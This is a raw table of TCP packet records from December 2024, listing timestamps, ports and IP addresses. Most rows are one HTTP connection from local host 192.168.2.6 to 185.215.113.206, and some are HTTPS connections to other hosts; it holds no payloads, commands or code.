Dec 7, 2024 00:15:47.860949993 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.861001015 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.861865997 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.861917019 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.861958981 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.862157106 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.862868071 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.862920046 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.862952948 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.863053083 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.863828897 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.863874912 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:47.863893986 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.863924980 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:47.884376049 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.884404898 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.884530067 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.884774923 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.884783983 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.944174051 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.944204092 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.944221020 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.944245100 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.944268942 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.944294930 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.944340944 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.963198900 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.963232040 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.963247061 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.963290930 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.963306904 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:47.963329077 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:47.963373899 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.001841068 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.001857996 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.001929998 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.002043962 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.002079010 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.002155066 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.002196074 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.003073931 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.003122091 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.003139973 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.003295898 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.004010916 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.004062891 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.004091024 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.004158020 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.004975080 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.005028963 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.005126953 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.005167007 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.005645990 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.005676031 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.005736113 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.005759954 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.005805016 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.005987883 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.006100893 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.006145954 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.006968021 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.007011890 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.007081985 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.007113934 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.008095980 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.008142948 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.008179903 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.008222103 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.008972883 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.009017944 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.009063005 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.009099007 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.010006905 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.010051966 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.010129929 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.010176897 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.010958910 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.011070967 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.011097908 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.011115074 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.011962891 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.012074947 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.012948036 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.013005972 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.013041973 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.013639927 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.014002085 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.014014959 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.014054060 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.014929056 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.015043974 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.015094042 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.015921116 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.016060114 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.016105890 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.016937017 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.017030001 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.017082930 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.017903090 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.018017054 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.018910885 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.018961906 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.019009113 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.019906044 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.020009041 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.020030022 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.020055056 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.020905972 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.020950079 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.021002054 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.021637917 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.021908998 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.022002935 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.022041082 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.022874117 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.022989988 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.023035049 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.023886919 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.024028063 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.024077892 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.024878025 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.025187969 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.025234938 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.025876999 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.025975943 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.026839018 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.026910067 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.026956081 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.027842999 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.027896881 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.027949095 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.028837919 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.028903961 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.028955936 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.029284954 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.029869080 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.029999971 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.030035973 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.030846119 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.030942917 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.030987978 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.031825066 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.031924963 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.031970978 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.032845020 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.032936096 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.032948971 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.032975912 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.033839941 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.033956051 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.034806967 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.034863949 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.034913063 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.035813093 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.035878897 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.035934925 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.036978006 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.036999941 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.037031889 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.037045956 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.037805080 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.037905931 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.038795948 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.038849115 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.038945913 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.039788008 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.039848089 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.039910078 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.040808916 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.040858984 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.040898085 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.041384935 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.041779995 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.041904926 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.041955948 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.042759895 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.042905092 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.042932034 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.042953014 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.043764114 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.043814898 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.043859005 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.043896914 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.044753075 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.044804096 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.044867992 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.044908047 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.045779943 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.045974016 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.046025991 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.046777964 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.046840906 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.046866894 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.046941042 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.047755957 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.047820091 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.047873020 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.047909975 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.048753023 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.048815966 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.048850060 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.048892975 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.049783945 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.049839973 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.049877882 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.050034046 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.050748110 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.050803900 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.050841093 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.050903082 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.051739931 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.051800013 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.051907063 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.051951885 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.052721024 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.052774906 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.052808046 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.052846909 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.053679943 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.053827047 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.054670095 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.054687023 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.054780006 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.054797888 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.054886103 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.125608921 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.125657082 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.125736952 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.125750065 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.125807047 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.147521019 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.147540092 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.147694111 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.147702932 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.147953033 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.150543928 CET	443	49832	2.16.158.83	192.168.2.6
Dec 7, 2024 00:15:48.150569916 CET	443	49832	2.16.158.83	192.168.2.6
Dec 7, 2024 00:15:48.150638103 CET	49832	443	192.168.2.6	2.16.158.83
Dec 7, 2024 00:15:48.150656939 CET	443	49832	2.16.158.83	192.168.2.6
Dec 7, 2024 00:15:48.150912046 CET	49832	443	192.168.2.6	2.16.158.83
Dec 7, 2024 00:15:48.151762009 CET	443	49832	2.16.158.83	192.168.2.6
Dec 7, 2024 00:15:48.151824951 CET	443	49832	2.16.158.83	192.168.2.6
Dec 7, 2024 00:15:48.151837111 CET	49832	443	192.168.2.6	2.16.158.83
Dec 7, 2024 00:15:48.151942968 CET	49832	443	192.168.2.6	2.16.158.83
Dec 7, 2024 00:15:48.155747890 CET	49832	443	192.168.2.6	2.16.158.83
Dec 7, 2024 00:15:48.155757904 CET	443	49832	2.16.158.83	192.168.2.6
Dec 7, 2024 00:15:48.174196005 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.174222946 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.174318075 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.174334049 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.174359083 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.174396038 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.179925919 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.179955006 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.180017948 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.180036068 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.180053949 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.180152893 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.193945885 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.194013119 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.194022894 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.194062948 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.194375992 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.194421053 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.194473982 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.194509029 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.195385933 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.195445061 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.195456028 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.195647955 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.196289062 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.196346998 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.196383953 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.196464062 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.196996927 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.197016954 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.197094917 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.197118998 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.197248936 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.197297096 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.197401047 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.197467089 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.197509050 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.198246002 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.198307037 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.198353052 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.198452950 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.199274063 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.199338913 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.199390888 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.199428082 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.200241089 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.200301886 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.200336933 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.200380087 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.201244116 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.201299906 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.201349974 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.201427937 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.202261925 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.202322006 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.202359915 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.202399015 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.203263044 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.203320026 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.203360081 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.203437090 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.204221964 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.204277992 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.204334021 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.204385042 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.204955101 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.204972029 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.205131054 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.205147028 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:48.205212116 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.205266953 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.205266953 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:48.205358028 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.205657005 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.206203938 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.206265926 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.206304073 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.206346035 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.207197905 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.207281113 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.207298994 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.207798958 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.208210945 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.208266020 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.208296061 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.208334923 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.209305048 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.209357023 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.209635019 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.209749937 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.210278988 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.210350990 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:48.210602045 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:48.210664988 CET	49823	80	192.168.2.6	185.215.113.206
